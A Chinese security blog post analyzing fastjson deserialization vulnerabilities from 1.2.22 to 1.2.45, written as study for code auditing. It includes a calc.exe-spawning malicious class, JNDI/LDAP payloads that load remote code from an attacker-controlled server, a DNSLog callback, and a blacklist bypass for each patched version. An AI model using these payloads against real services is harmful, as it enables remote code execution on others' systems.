f10@t's blog

fastjson反序列化漏洞学习(一)

字数统计: 2.6k阅读时长: 11 min
2020/05/31

fastjson反序列化漏洞是成系列的,主要包括绕过和反序列化攻击手段。学习记录一下以提高代码审计的水平,复现和分析范围包括1.2.22-1.2.45。

FastJson使用

基本使用

FastJson作为一个序列化和反序列化的工具,可以将给定格式的json字符串反序列化为对象、将给定对象序列化为固定格式的json字符串。一个简单例子如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature;

/**
* @author lzwgiter
* @data: 2020/5/31
*/
public class BasicUsing {
static class Person {
private String name;

private Integer age;

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}

public Integer getAge() {
return age;
}

public void setAge(Integer age) {
this.age = age;
}
}

public static void main(String[] args) {
Person person = new Person();
person.setAge(24);
person.setName("lzwgiter");

String out_1 = JSON.toJSONString(person);
String out_2 = JSON.toJSONString(person, SerializerFeature.WriteClassName);

System.out.println(out_1);
System.out.println(out_2);

System.out.println("==============================");

Person lzwgiter = (Person) JSON.parse(out_2);
System.out.println(lzwgiter);
JSONObject obj_1 = JSON.parseObject(out_1);
System.out.println(obj_1);
Person obj_2 = JSON.parseObject(out_1, Person.class);
System.out.println(obj_2);
}
}

  • 序列化时,最常用的是JSON.toJSONString方法,该方法有一个重载可以在第二个参数输入一个序列化的特征,这里主要关注WriteClassName。指定该特征后,输出的JSON格式字符串中会多出一个@type key以标识这个序列化的对象是什么类的。这也是漏洞的利用点,即我们可以指定任意类。
  • 反序列化时,最常用的是JSON.parseJSON.parseObject这两个方法,区别在于,前者返回的是Object对象,后者本质上调用的也是parse函数,默认返回JSONObject对象,但是可以通过指定class以返回指定的类。

ok,接下来重点关注一下反序列化函数parseObject,看看给定一个包含了@type key的JSON字符串,他到底是怎么还原出Java对象的。

parseObejct

肯定他是反射机制嘛,这个肯定的了:

在拿到类的信息后,会遍历这个类所有的方法和字段,其中最下面那个、第二次遍历method是在寻找get开头的方法:

这说明fastjson再反序列化的时候会寻找这个bean的getter方法,通过getter方法对对象的属性进行设置。

然后调用getter方法

如果我们没有给出对应的set函数的话,FastJson在反序列化的时候就无法设置属性了:

FastJson 1.2.22-1.2.24

看了上面FastJson的解析流程后,那我们思路就有了,即:通过@type关键字指定任意类予以利用

这部分的利用链主要有两条,分别是利用了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImplcom.sun.rowset.JdbcRowSetImpl这两个类。这里以最典型的JdbcRowSetImpl为例。

攻击思路:配合JNDI、LDAP注入并加载恶意类

我们构造一个恶意类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.IOException;

/**
* @author lzwgiter
* @data: 2020/5/31
*/
public class POC {
static {
Runtime runtime = Runtime.getRuntime();
try {
runtime.exec("calc.exe");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}

为了便于实验,我在树莓派上启动了一个恶意的web服务器以及一个恶意的JNDI服务:

下面看一下这条调用链的原理,查看com.sun.rowset.JdbcRowSetImpl利用的关键代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
private Connection connect() throws SQLException {
if (this.conn != null) {
return this.conn;
} else if (this.getDataSourceName() != null) {
try {
InitialContext var1 = new InitialContext();
DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName()); // 注意这里
return this.getUsername() != null && !this.getUsername().equals("") ? var2.getConnection(this.getUsername(), this.getPassword()) : var2.getConnection();
} catch (NamingException var3) {
throw new SQLException(this.resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}
} else {
return this.getUrl() != null ? DriverManager.getConnection(this.getUrl(), this.getUsername(), this.getPassword()) : null;
}
}

注意到在lookup函数中,参数datasource是从本类获取的。而该类继承自javax.sql.rowset.BaseRowSet类,且该父类具有setter方法:

1
2
3
4
5
6
7
8
9
10
11
12
public void setDataSourceName(String name) throws SQLException {

if (name == null) {
dataSource = null;
} else if (name.equals("")) {
throw new SQLException("DataSource name cannot be empty string");
} else {
dataSource = name;
}

URL = null;
}

那构造链就清晰了,我们只要传入一个JdbcRowSetImpl类,并传入他的dataSourceName即可:

1
2
3
4
5
6
7
8
9
10
11
12
import com.alibaba.fastjson.JSONObject;

/**
* @author lzwgiter
* @data: 2020/5/31
*/
public class Demo {
public static void main(String[] args) {
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.0.103:1389/POC\", \"autoCommit\":true}";
JSONObject pocObj = JSONObject.parseObject(poc);
}
}

实验结果:

当然你也可以干其他事情比如DNSLog反弹:

1
2
3
4
5
6
7
8
9
10
// poc_1
{
"@type": "java.net.InetAddress",
"val": "http://dnslog.com"
}
// poc_2
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}

FastJson 1.2.25-1.2.41

我们使用24版本的payload尝试:

提示autoType是不支持的。我们去DefaultJSONParser的308行看一下,同时对比一下1.2.24版本的代码区别:

可以看到原先是直接通过TypeUtils.loadClass去加载类了,但是25-41版本中多出来了个判断,在else分支中会调用ParserConfig.checkAutoType函数,payload在这里失效了。进去看一下内容:

首先在得到待反序列化的类名后,会先判断autoTypeSupport是否开启,默认是没有开启的所以跳过。

可以看到,这里使用了一个名为denyList的黑名单判断所使用类是否属于黑名单类。这个黑名单包括:

1
"bsh""com.mchange""com.sun.""java.lang.Thread""java.net.Socket""java.rmi""javax.xml""org.apache.bcel""org.apache.commons.beanutils""org.apache.commons.collections.Transformer""org.apache.commons.collections.functors""org.apache.commons.collections4.comparators""org.apache.commons.fileupload""org.apache.myfaces.context.servlet""org.apache.tomcat""org.apache.wicket.util""org.apache.xalan""org.codehaus.groovy.runtime""org.hibernate""org.jboss""org.mozilla.javascript""org.python.core""org.springframework"

而原来的24版本中的黑名单是这样的:

显然我们使用的com.sun.rowset.JdbcRowSetImpl是包含在其中的,所以抛出了JSONException。此外,在黑名单下面还有一个白名单,只有属于这个白名单才会加载。

首先我们尝试关闭这个autoTypeSupport:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

/**
* @author lzwgiter
* @data: 2020/5/31
*/
public class Demo {
public static void main(String[] args) {
String poc = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://10.10.10.128:1389/POC\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true); // 开启AutoTypeSupport
JSONObject pocObj = JSONObject.parseObject(poc);
}
}

那就会先进入我前面用红色注释掉的代码了:

可以看到因为白名单默认为空,这里就不需要白名单判断了,但是我们仍然需要绕过黑名单。这里的思路是,我们重新去看一下TypeUtils.loadClass方法,可以发现这样两个判断:

其中,对于L开头且以;结尾的类名,会使用String的substring方法取出他们之间夹着的这个类的名字并进行加载。那很直观的,我们如果将com.sun.rowset.JdbcRowSetImpl写成Lcom.sun.rowset.JdbcRowSetImpl;呢?显然这个新的全限定类名称是不存在于黑名单的,但是却可以在loadclass的时候被恢复成原始的com.sun.rowset.JdbcRowSetImpl。那payload就有了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

/**
* @author lzwgiter
* @data: 2020/5/31
*/
public class Demo {
public static void main(String[] args) {
String poc = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://10.10.10.128:1389/POC\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject pocObj = JSONObject.parseObject(poc);
}
}

FastJson 1.2.42

先用41的Payload试验一下:

仍然是这个错,看一下提示的925行:

可以看到,该版本中将原先String数组存储明文的禁用类的方法改为了使用哈希表示并通过哈希做比较的方法。所以我们加L这些就没用了。

但是吧看起来都哈希诶,感觉没办法诶,但是把注意黄色代码段:

1
2
3
4
5
6
7
8
if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}

这个if判断是干什么的呢?我们随便挑俩字母试试:

可以看到,黄框代码的作用实际上是:判断类名是否是L开头和;结尾的,若是,则对其进行裁剪使其恢复为正常的。那说白了就跟SQL注入把关键字给你删了一样,处理方法很简单,你把它双写不就好了哈哈哈哈(双倍给下一个人

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.ParserConfig;

/**
* @author lzwgiter
* @data: 2020/5/31
*/
public class Demo {
public static void main(String[] args) {
String poc = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://10.10.10.128:1389/POC\", \"autoCommit\":true}";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSONObject pocObj = JSONObject.parseObject(poc);
}
}

FastJson 1.2.43

先尝试42的payload:

看下914行:

43版本又继续修改了一下对特殊字符的判断,其中第一个if判断没有变化,那就还是判断是否是L开头和;结尾的,修改在于又内置了一个判断,这次是用第一个和第二个字符做计算了而不是特殊字符做判断了。那这个9195c07b5af5345是个啥?

。。。。行吧,那就是把LL开头ban了呗。我还尝试过LcLcom.sun.rowset.JdbcRowSetImpl;;这种,这样可以避过第二层过滤,且被删除后变成cLcom.sun.rowset.JdbcRowSetImpl;也不存在于黑名单。但是把TypeUtils的loadClass方法中传入的不是裁剪过的,而且裁剪前索引也是固定死的,所以这块没有其他思路了。那我们继续再看看loadClass方法,毕竟当时L的利用路径就是从这里来的:

还有一个[的分支,那我们岂不是写个[com.sun.rowset.JdbcRowSetImpl就完事了?而且还不会进入前面的哈希值比对步骤,还通吃25-43所有的版本诶:

?那就按照报错说的价加个["{"@type":"[com.sun.rowset.JdbcRowSetImpl"["dataSourceName":"ldap://10.10.10.128:1389/POC", "autoCommit":true}";

?那就按你说的再加个{"{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://10.10.10.128:1389/POC", "autoCommit":true}";

ok结了:

FastJson 1.2.44-45

先试43的payload:

904,猫一眼:

[也堵上了,而45版本则是增加了一个新的黑名单类org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,poc:{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{"data_source":"ldap://127.0.0.1:23457/Command8"}}

参考

https://www.freebuf.com/vuls/178012.html

https://y4er.com/posts/fastjson-learn/

CATALOG
  1. 1. FastJson使用
    1. 1.1. 基本使用
    2. 1.2. parseObejct
  2. 2. FastJson 1.2.22-1.2.24
  3. 3. FastJson 1.2.25-1.2.41
  4. 4. FastJson 1.2.42
  5. 5. FastJson 1.2.43
  6. 6. FastJson 1.2.44-45
  7. 7. 参考